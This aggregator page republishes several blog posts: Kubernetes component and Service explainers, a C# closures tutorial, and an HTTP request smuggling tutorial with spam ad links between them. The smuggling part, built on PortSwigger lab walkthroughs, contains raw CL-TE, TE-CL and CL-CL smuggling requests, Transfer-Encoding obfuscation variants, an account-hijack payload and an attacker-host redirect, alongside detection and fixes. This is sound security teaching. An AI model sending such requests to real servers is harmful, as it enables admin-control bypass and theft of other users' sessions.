  • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)
  • 執行節點包含:

  • kubelet(監控與實際操作容器)
  • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)
  • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)
  • 本文總結

    Kubernetes 作為容器編排的領航者,將容器化的優勢發揮得淋漓盡致,排除了容器難於管理的問題。

    按角色來看,K8s可以分為兩部分,控制平面與執行節點,控制平台通過一系列接收指令、監控、部署調度等功能的組件組成,最主要的有kube-apiserver、etcd、kube-scheduler、kube-controller-manager;執行節點包含負責監控與具體幹活的kubelet和維護網絡規則的kube-proxy

    參考文章

    • https://kubernetes.io/docs/concepts/overview/components/

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    【K8S】Service服務詳解,看這一篇就夠了!!

    k8s用命名空間namespace把資源進行隔離,默認情況下,相同的命名空間里的服務可以相互通訊,反之進行隔離。

    1.1 Service

    Kubernetes中一個應用服務會有一個或多個實例(Pod,Pod可以通過rs進行多複本的建立),每個實例(Pod)的IP地址由網絡插件動態隨機分配(Pod重啟后IP地址會改變)。為屏蔽這些後端實例的動態變化和對多實例的負載均衡,引入了Service這個資源對象,如下所示:

    apiVersion: v1
    kind: Service
    metadata:
      name: nginx-svc
      labels:
        app: nginx
    spec:
      type: ClusterIP
      ports:
        - port: 80
           targetPort: 80
      selector:  #service通過selector和pod建立關聯
        app: nginx

    根據創建Service的type類型不同,可分成4種模式:

    • ClusterIP: 默認方式。根據是否生成ClusterIP又可分為普通Service和Headless Service兩類:
      • 普通Service:通過為Kubernetes的Service分配一個集群內部可訪問的固定虛擬IP(Cluster IP),實現集群內的訪問。為最常見的方式。
      • Headless Service:該服務不會分配Cluster IP,也不通過kube-proxy做反向代理和負載均衡。而是通過DNS提供穩定的絡ID來訪問,DNS會將headless service的後端直接解析為podIP列表。主要供StatefulSet使用。
    • NodePort:除了使用Cluster IP之外,還通過將service的port映射到集群內每個節點的相同一個端口,實現通過nodeIP:nodePort從集群外訪問服務。
    • LoadBalancer:和nodePort類似,不過除了使用一個Cluster IP和nodePort之外,還會向所使用的公有雲申請一個負載均衡器(負載均衡器後端映射到各節點的nodePort),實現從集群外通過LB訪問服務。
    • ExternalName:是 Service 的特例。此模式主要面向運行在集群外部的服務,通過它可以將外部服務映射進k8s集群,且具備k8s內服務的一些特徵(如具備namespace等屬性),來為集群內部提供服務。此模式要求kube-dns的版本為1.7或以上。這種模式和前三種模式(除headless service)最大的不同是重定向依賴的是dns層次,而不是通過kube-proxy。
      比如,在service定義中指定externalName的值”my.database.example.com”:

    此時k8s集群內的DNS服務會給集群內的服務名 ..svc.cluster.local 創建一個CNAME記錄,其值為指定的”my.database.example.com”。
    當查詢k8s集群內的服務my-service.prod.svc.cluster.local時,集群的 DNS 服務將返回映射的CNAME記錄”foo.bar.example.com”。

    備註: 前3種模式,定義服務的時候通過selector指定服務對應的pods,根據pods的地址創建出endpoints作為服務後端;Endpoints Controller會watch Service以及pod的變化,維護對應的Endpoint信息。kube-proxy根據Service和Endpoint來維護本地的路由規則。當Endpoint發生變化,即Service以及關聯的pod發生變化,kube-proxy都會在每個節點上更新iptables,實現一層負載均衡。 而ExternalName模式則不指定selector,相應的也就沒有port和endpoints。 ExternalName和ClusterIP中的Headles Service同屬於Headless Service的兩種情況。Headless Service主要是指不分配Service IP,且不通過kube-proxy做反向代理和負載均衡的服務。

    1.2 Port

    Service中主要涉及三種Port: * port 這裏的port表示service暴露在clusterIP上的端口,clusterIP:Port 是提供給集群內部訪問kubernetes服務的入口。

    • targetPort

    containerPort,targetPort是pod上的端口,從port和nodePort上到來的數據最終經過kube-proxy流入到後端pod的targetPort上進入容器。

    • nodePort

    nodeIP:nodePort 是提供給從集群外部訪問kubernetes服務的入口。

    總的來說,port和nodePort都是service的端口,前者暴露給從集群內訪問服務,後者暴露給從集群外訪問服務。從這兩個端口到來的數據都需要經過反向代理kube-proxy流入後端具體pod的targetPort,從而進入到pod上的容器內。

    1.3 IP

    使用Service服務還會涉及到幾種IP:

    • ClusterIP

    Pod IP 地址是實際存在於某個網卡(可以是虛擬設備)上的,但clusterIP就不一樣了,沒有網絡設備承載這個地址。它是一個虛擬地址,由kube-proxy使用iptables規則重新定向到其本地端口,再均衡到後端Pod。當kube-proxy發現一個新的service后,它會在本地節點打開一個任意端口,創建相應的iptables規則,重定向服務的clusterIP和port到這個新建的端口,開始接受到達這個服務的連接。

    • Pod IP

    Pod的IP,每個Pod啟動時,會自動創建一個鏡像為gcr.io/google_containers/pause的容器,Pod內部其他容器的網絡模式使用container模式,並指定為pause容器的ID,即:network_mode: “container:pause容器ID”,使得Pod內所有容器共享pause容器的網絡,與外部的通信經由此容器代理,pause容器的IP也可以稱為Pod IP。

    • 節點IP

    Node-IP,service對象在Cluster IP range池中分配到的IP只能在內部訪問,如果服務作為一個應用程序內部的層次,還是很合適的。如果這個service作為前端服務,準備為集群外的客戶提供業務,我們就需要給這個服務提供公共IP了。指定service的spec.type=NodePort,這個類型的service,系統會給它在集群的各個代理節點上分配一個節點級別的端口,能訪問到代理節點的客戶端都能訪問這個端口,從而訪問到服務。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    HTTP Request Smuggling 請求走私

    參考文章

    淺析HTTP走私攻擊
    SeeBug-協議層的攻擊——HTTP請求走私
    HTTP 走私漏洞分析
    HTTP-Request-Smuggling

    簡單介紹

    攻擊者通過構造特殊結構的請求,干擾網站服務器對請求的處理,從而實現攻擊目標

    前提知識

    注:以下文章中的前端指的是(代理服務器、CDN、WAF,負載均衡,Nginx,HAproxy等)

    Persistent Connection:持久連接,Connection: keep-alive
    比如打開一個網頁,我們可以在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js),而我們知道每一次發送HTTP請求需要經過 TCP 三次握手,發送完畢又有四次揮手。當單個用戶同時需要發送多個請求時,這一點消耗或許微不足道,但當有許多用戶同時發起請求的時候,便會給服務器造成很多不必要的消耗。為了解決這一問題,在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭,當有些請求帶着 Connection: close 的話,通信完成之後,服務器才會中斷 TCP 連接。如此便解決了額外消耗的問題,但是服務器端處理請求的方式仍舊是請求一次響應一次,然後再處理下一個請求,當一個請求發生阻塞時,便會影響後續所有請求,為此 Pipelining 異步技術解決了這一個問題

    Pipelining:能一次處理多個請求,客戶端不必等到上一個請求的響應后再發送下一個請求。服務器那邊一次可以接收多個請求,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端

    但是這樣也會帶來一個問題————如何區分每一個請求才不會導致混淆————前端與後端必須短時間內對每個數據包的邊界大小達成一致。否則,攻擊者就可以構造發送一個特殊的數據包發起攻擊。那麼如何界定數據包邊界呢?
    有兩種方式: Content-LengthTransfer-Encoding.

    Content-Length:CL,請求體或者響應體長度(十進制)。字符算一個,CRLF(一個換行)算兩個。通常如果 Content-Length 的值比實際長度小,會造成內容被截斷;如果比實體內容大,會造成 pending,也就是等待直到超時。

    Transfer-Encoding:TE,其只有一個值 chunked (分塊編碼)。分塊編碼相當簡單,在頭部加入 Transfer-Encoding: chunked 之後,就代表這個報文採用了分塊編碼。這時,報文中的實體需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨佔一行,長度不包括它結尾的 CRLF(\r\n),也不包括分塊數據結尾的 CRLF,但是包括分塊中的換行,值算2。最後一個分塊長度值必須為 0,對應的分塊數據沒有內容,表示實體結束。
    例如:

    POST /langdetect HTTP/1.1
    Host: fanyi.baidu.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 93
    Transfer-Encoding: chunked
    
    2;逗號後面是註釋
    qu
    3;3表示後面的字符長度為3(十六進制),不算CRLF(\r\n回車換行)
    ery
    1
    =
    2
    ja
    2
    ck
    0;0表示實體結束
    
    
    

    注:根據 RFC 標準,如果接收到的消息同時具有傳輸編碼標頭字段和內容長度標頭字段,則必須忽略內容長度標頭字段,當然也有不遵循標準的例外。

    根據標準,當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候,應該返回 400 錯誤。但是有一些方法可以繞過
    (導致既不返回400錯誤,又可以使 Transfer-Encoding 標頭失效):

    Transfer-Encoding: xchunked
    
    Transfer-Encoding : chunked
    
    Transfer-Encoding: chunked
    
    Transfer-Encoding: x
    
    Transfer-Encoding:[tab]chunked
    
    GET / HTTP/1.1
     Transfer-Encoding: chunked
    X: X[\n]Transfer-Encoding: chunked
    
    Transfer-Encoding
     : chunked
    

    產生原因

    HTTP規範提供了兩種不同方式來指定請求的結束位置,它們是 Content-Length 標頭和 Transfer-Encoding 標頭。當前/後端對數據包邊界的校驗不一致時,
    使得後端將一個惡意的殘缺請求需要和下一個正常的請求進行拼接,從而吞併了其他用戶的正常請求。如圖:

    那麼前/後端校驗不一致有那些情況呢呢呢呢?

    類型

    1. CL-TE: 前端: Content-Length,後端: Transfer-Encoding

    BURP實驗環境

    第一次請求:

    第二次請求:

    原理:前端服務器通過 Content-Length 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過 Transfer-Encoding 界定數據包邊界,導致 R0oKi3 字段被識別為下一個數據包的內容,而被送到了緩衝區,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,組成了 R0OKI3POST ,為不可識別的請求方式,導致403。

    1. TE-CL: 前端: Transfer-Encoding,後端: Content-Length

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:跟 CL-TE 相似

    1. TE-TE: 前端: Transfer-Encoding,後端: Transfer-Encoding

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:前端服務器通過第一個 Transfer-Encoding 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過第二個 Transfer-Encoding 界定數據包邊界,結果為一個不可識別的標頭,然後便退而求其次使用 Content-Length 校驗,結果就跟 TE-CL 形式無異了。同樣若是前端服務器校驗第二個,後端服務器校驗第一個,那結果也就跟 CL-TE 形式無異了。

    1. CL-CL: 前端: Content-Length,後端: Content-Length

    在RFC7230規範中,規定當服務器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有服務器不嚴格遵守該規範。假設前端和後端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行為數據包定界,而後端服務器則按照第二個Content-Length的值進行處理。

    這時攻擊者可以惡意構造一個特殊的請求:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 11
    Content-Length: 5
    
    123
    R0oKi3
    

    原理:前端服務器獲取到的數據包的長度11,由此界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端,而後端服務器獲取到的數據包長度為5。當讀取完前5個字符后,後端服務器認為該請求已經讀取完畢。便去識別下一個數據包,而此時的緩衝區中還剩下 R0oKi3,它被認為是下一個請求的一部分,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,攻擊便在此展開。

    1. CL 不為 0 的 GET 請求:

    假設前端服務器允許 GET 請求攜帶請求體,而後端服務器不允許 GET 請求攜帶請求體,它會直接忽略掉 GET 請求中的 Content-Length 頭,不進行處理。這就有可能導致請求走私。
    比如發送下面請求:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    
    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    前端服務器通過讀取Content-Length,確認這是個完整的請求,然後轉發到後端服務器,而後端服務器因為不對 Content-Length 進行判斷,於是在後端服務器中該請求就變成了兩個:
    第一個:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    

    第二個:

    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    而第二個為 POST 請求,假定其為發表評論的數據包,再假定後端服務器是依靠 Content-Length 來界定數據包的,那麼由於數據包長度為 666,那麼便會等待其他數據,等到正常用戶的請求包到來,便會與其拼接,變成 msg=aaa……………… ,然後會將显示在評論頁面,也就會導致用戶的 Cookie 等信息的泄露。

    PortSwigger 其他實驗

    1. 使用 CL-TE 繞過前端服務器安全控制

    BURP實驗環境
    坑點:有時候實體數據里需要添加一些別的字段或者空行,不然會出一些很奇怪的錯誤,所以我在弄的時候參照了seebug 404Team
    實驗要求:獲取 admin 身份並刪除 carlos 用戶

    第一步:實驗提示我們 admin 管理面版在 /admin 目錄下,直接訪問,显示:

    第二步:利用 CL-TE 請求走私繞過前端服務器安全控制

    • 第一次發包

    坑點:數據實體一定要多一些其他字段或者多兩行空白,不然報 Invalid request 請求不合法

    0
    
    GET /admin HTTP/1.1
    
    
    # 若是多了兩行空白,那麼 foo: bar 字段可以不要
    

    提示 admin 要從 localhost 登陸

    • 改包后多發幾次得到

    • 改包刪除用戶

    • 再次請求 /admin 頁面,發現 carlos 用戶已不存在

      坑點:這裏再次請求的時候記得多加兩個空行改變一下 Content-Length 的值,不然會显示不出來,神奇 BUG?

    原理:網站進行身份驗證的處理是在前端服務器,當直接訪問 /admin 目錄時,由於通過不了前端驗證,所以會返回 Blocked。利用請求走私,便可以繞過前端驗證,直接在後端產生一個訪問 /admin 目錄的請求包,當發起下一個請求時,響應的數據包對應的是走私的請求包,如此便可以查看 admin 面板的頁面數據,從而達到繞過前端身份驗證刪除用戶的目的。

    1. 使用 TE-CL 繞過前端服務器安全控制

    BURP實驗環境

    實驗過程與上一個實驗相仿,不過要記得關 burp 的 Update Content-Length

    這裏:不知道為什麼一定要加 Content-Length 和其他的一些詞,不加的話會显示 Invalid request 請求不合法 ?????????

    1. 獲取前端服務器重寫請求字段(CL-TE)

    BURP實驗環境

    摘自seebug 404Team
    在有的網絡環境下,前端代理服務器在收到請求后,不會直接轉發給後端服務器,而是先添加一些必要的字段,然後再轉發給後端服務器。這些字段是後端服務器對請求進行處理所必須的,比如:

    • 描述TLS連接所使用的協議和密碼

    • 包含用戶IP地址的XFF頭

    • 用戶的會話令牌ID
      總之,如果不能獲取到代理服務器添加或者重寫的字段,我們走私過去的請求就不能被後端服務器進行正確的處理。那麼我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:

    • 找一個能夠將請求參數的值輸出到響應中的POST請求

    • 把該POST請求中,找到的這個特殊的參數放在消息的最後面

    • 然後走私這一個請求,然後直接發送一個普通的請求,前端服務器對這個請求重寫的一些字段就會显示出來。

    • 第一步:找一個能夠將請求參數的值輸出到響應中的POST請求

    • 第二步:利用 CL-TE 走私截獲正常數據包經前端服務器修改后發送過來的內容,並輸出在響應包中

    這一步的原理:由於我們走私構造的請求包為:

    POST / HTTP/1.1
    Content-Length: 100
    
    search=66666
    

    從這裏可以看到,Content-Length 的值為 100,而我們的實體數據僅為 search=66666,遠沒有 100,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並返回走私請求的響應。

    • 第三步:在走私的請求上添加這個字段,然後走私一個刪除用戶的請求。

    • 查看 /admin 頁面,發現用戶已被刪除

    能用來干什麼

    1. 賬戶劫持 CL-TE
      BURP實驗環境
    • 構造特殊請求包,形成一個走私請求

    • 查看評論

    原理:(跟 獲取前端服務器重寫請求字段 相似)
    我們走私構造的請求包為:

    POST /post/comment HTTP/1.1
    Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
    Content-Length: 900
    Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy
    
    csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa
    
    
    

    可以看到 Content-Length 值為 900,而我們的實體數據僅為 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,遠不足900,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並且由於是構造發起評論的請求包,所以數據會存入數據庫,從而打開頁面便會看到其他用戶的請求包內容,獲取其敏感數據,由於環境只有我一個人在玩,所以只能獲取到自己的敏感數據。

    注意:一定要將 comment=aaaa 放在最後

    1. Reflected XSS + Smuggling 造成無需交互的 XSS(CL-TE)
      BURP實驗環境
    • 首先反射型 XSS 在文章頁面

    • 構造請求走私 payload

    • 導致無交互 XSS

    1. 惡意重定向
      環境暫無

    許多應用程序執行從一個 URL 到另一個URL的重定向,會將來自請求的 Host 標頭的主機名放入重定向URL。一個示例是 Apache 和 IIS Web 服務器的默認行為,在該行為中,對不帶斜杠的文件夾的請求將收到對包含該斜杠的文件夾的重定向:

    請求
    GET /home HTTP/1.1
    Host: normal-website.com
    
    響應
    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/
    

    通常,此行為被認為是無害的,但是可以在走私請求攻擊中利用它來將其他用戶重定向到外部域。例如:

     POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 54
    Transfer-Encoding: chunked
    
    0
    
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: X 
    

    走私的請求將觸發重定向到攻擊者的網站,這將影響後端服務器處理的下一個用戶的請求。例如:

    正常請求
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /scripts/include.js HTTP/1.1
    Host: vulnerable-website.com
    
    惡意響應
    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/ 
    

    若用戶請求的是一個 JavaScript 文件,該文件是由網站上的頁面導入的。攻擊者可以通過在響應中返回自己的 JavaScript 文件來完全破壞受害者用戶。

    4.緩存投毒

    一般來說,前端服務器出於性能原因,會對後端服務器的一些資源進行緩存,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行緩存投毒,從而影響後續訪問的所有用戶。

    BURP實驗環境

    實驗參考

    檢測

    檢測請求走私漏洞的明顯方法是發出一個模糊的請求,然後發出正常的“受害者”請求,然後觀察後者是否得到意外的響應。但是,這極易受到干擾。

    如果另一個用戶的請求在我們的受害者請求之前命中,他們將得到損壞的響應,我們將不會發現該漏洞。這意味着在具有大量流量的實時站點上,很難證明請求走私存在而不會在此過程中影響眾多真正的用戶。即使在沒有其他流量的站點上,您也可能會因應用程序級別的怪癖終止連接而導致漏報。

    為了解決這個問題,作者開發了一種檢測策略,該策略使用一系列消息,這些消息使易受攻擊的後端系統掛起並使連接超時。這種技術幾乎沒有誤報,抵制應用程序級別的怪癖,最重要的是幾乎沒有影響其他用戶的風險。

    假設前端服務器使用Content-Length頭,後端使用Transfer-Encoding頭。我將此定位稱為CL.TE。我們可以通過發送以下請求來檢測潛在的請求走私:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    1
    R
    x
    

    由於較短的Content-Length,前端將僅轉發到 R 丟棄後續的 X,而後端將在等待下一個塊大小時超時。這將導致明顯的時間延遲。
    如果超時說明兩個服務器為CL.TE,正常響應就是CL.CL,被拒絕就可能是TE.TE或者TE.CL,那麼只需要在拒絕的時候,再使用第二個請求,TE.TE就會正常響應,TE.CL就會超時。

    如果兩個服務器同步(TE.TE或CL.CL),請求將被前端拒絕或由兩個系統無害地處理。最後,如果以相反的方式發生(TE.CL),前端將拒絕該消息,而不會將其轉發到後端,這要歸功於無效的塊大小“Q”。這可以防止後端中毒。

    我們可以使用以下請求安全地檢測TE.CL:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    
    
    X
    

    如果以相反的方式發生(CL.TE),則此方法將使用X毒化後端套接字,可能會損害合法用戶。幸運的是,通過首先運行先前的檢測方法,我們可以排除這種可能性。

    這些請求可以適應目標解析中的任意差異,並且它們用於通過HTTP Request Smuggler自動識別請求走私漏洞。HTTP Request Smuggler是為幫助此類攻擊而開發的開源Burp Suite擴展。它們現在也被用在Burp Suite的核心掃描儀中。雖然這是服務器級漏洞,但單個域上的不同接口通常會路由到不同的目標,因此應將此技術單獨應用於每個接口。

    修復

    1. 禁用後端連接的重用,以便每個後端請求通過單獨的網絡連接發送。
    2. 使用HTTP / 2進行後端連接,因為此協議可防止對請求之間的邊界產生歧義。
    3. 前端服務器和後端服務器使用完全相同的Web服務器軟件,以便它們就請求之間的界限達成一致。
      以上的措施有的不能從根本上解決問題,而且有着很多不足,就比如禁用代理服務器和後端服務器之間的 TCP 連接重用,會增大後端服務器的壓力。使用 HTTP/2 在現在的網絡條件下根本無法推廣使用,哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1。從本質上來說,HTTP 請求走私出現的原因並不是協議設計的問題,而是不同服務器實現的問題,個人認為最好的解決方案就是嚴格的實現 RFC7230-7235 中所規定的的標準,但這也是最難做到的。

    HTTP 參數污染也能算是一種請求走私 HTTP參數污染

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    C#中的閉包和意想不到的坑

    雖然閉包主要是函數式編程的玩意兒,而C#的最主要特徵是面向對象,但是利用委託或lambda表達式,C#也可以寫出具有函數式編程風味的代碼。同樣的,使用委託或者lambda表達式,也可以在C#中使用閉包。

    根據WIKI的定義,閉包又稱語法閉包或函數閉包,是在函數式編程語言中實現語法綁定的一種技術。閉包在實現上是一個結構體,它存儲了一個函數(通常是其入口地址)和一個關聯的環境(相當於一個符號查找表)。閉包也可以延遲變量的生存周期。

    嗯。。看定義好像有點迷糊,讓我們看看下面的例子吧

        class Program
        {
            static Action CreateGreeting(string message)
            {
                return () => { Console.WriteLine("Hello " + message); };
            }
    
            static void Main()
            {
                Action action = CreateGreeting("DeathArthas");
                action();
            }
        }
    

    這個例子非常簡單,用lambda表達式創建一個Action對象,之後再調用這個Action對象。
    但是仔細觀察會發現,當Action對象被調用的時候,CreateGreeting方法已經返回了,作為它的實參的message應該已經被銷毀了,那麼為什麼我們在調用Action對象的時候,還是能夠得到正確的結果呢?
     
    原來奧秘就在於,這裏形成了閉包。雖然CreateGreeting已經返回了,但是它的局部變量被返回的lambda表達式所捕獲,延遲了其生命周期。怎麼樣,這樣再回頭看閉包定義,是不是更清楚了一些?
     
    閉包就是這麼簡單,其實我們經常都在使用,只是有時候我們都不自知而已。比如大家肯定都寫過類似下面的代碼。

    void AddControlClickLogger(Control control, string message)
    {
    	control.Click += delegate
    	{
    		Console.WriteLine("Control clicked: {0}", message);
    	}
    }
    

    這裏的代碼其實就用了閉包,因為我們可以肯定,在control被點擊的時候,這個message早就超過了它的聲明周期。合理使用閉包,可以確保我們寫出在空間和時間上面解耦的委託。
     
    不過在使用閉包的時候,要注意一個陷阱。因為閉包會延遲局部變量的生命周期,在某些情況下程序產生的結果會和預想的不一樣。讓我們看看下面的例子。

        class Program
        {
    	static List<Action> CreateActions()
            {
                var result = new List<Action>();
                for(int i = 0; i < 5; i++)
                {
                    result.Add(() => Console.WriteLine(i));
                }
                return result;
            }
    
            static void Main()
            {
                var actions = CreateActions();
                for(int i = 0;i<actions.Count;i++)
                {
                    actions[i]();
                }
            }
        }
    

    這個例子也非常簡單,創建一個Action鏈表並依次執行它們。看看結果

    相信很多人看到這個結果的表情是這樣的!!難道不應該是0,1,2,3,4嗎?出了什麼問題?

    刨根問底,這兒的問題還是出現在閉包的本質上面,作為“閉包延遲了變量的生命周期”這個硬幣的另外一面,是一個變量可能在不經意間被多個閉包所引用。

    在這個例子裏面,局部變量i同時被5個閉包引用,這5個閉包共享i,所以最後他們打印出來的值是一樣的,都是i最後退出循環時候的值5。

    要想解決這個問題也很簡單,多聲明一個局部變量,讓各個閉包引用自己的局部變量就可以了。

    	//其他都保持與之前一致
            static List<Action> CreateActions()
            {
                var result = new List<Action>();
                for (int i = 0; i < 5; i++)
                {
                    int temp = i; //添加局部變量
                    result.Add(() => Console.WriteLine(temp));
                }
                return result;
            }
    

    這樣各個閉包引用不同的局部變量,剛剛的問題就解決了。

    除此之外,還有一個修復的方法,在創建閉包的時候,使用foreach而不是for。至少在C# 7.0 的版本上面,這個問題已經被注意到了,使用foreach的時候編譯器會自動生成代碼繞過這個閉包陷阱。

    	//這樣fix也是可以的
            static List<Action> CreateActions()
            {
                var result = new List<Action>();
                foreach (var i in Enumerable.Range(0,5))
                {
                    result.Add(() => Console.WriteLine(i));
                }
                return result;
            }
    

    這就是在閉包在C#中的使用和其使用中的一個小陷阱,希望大家能通過老胡的文章了解到這個知識點並且在開發中少走彎路!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案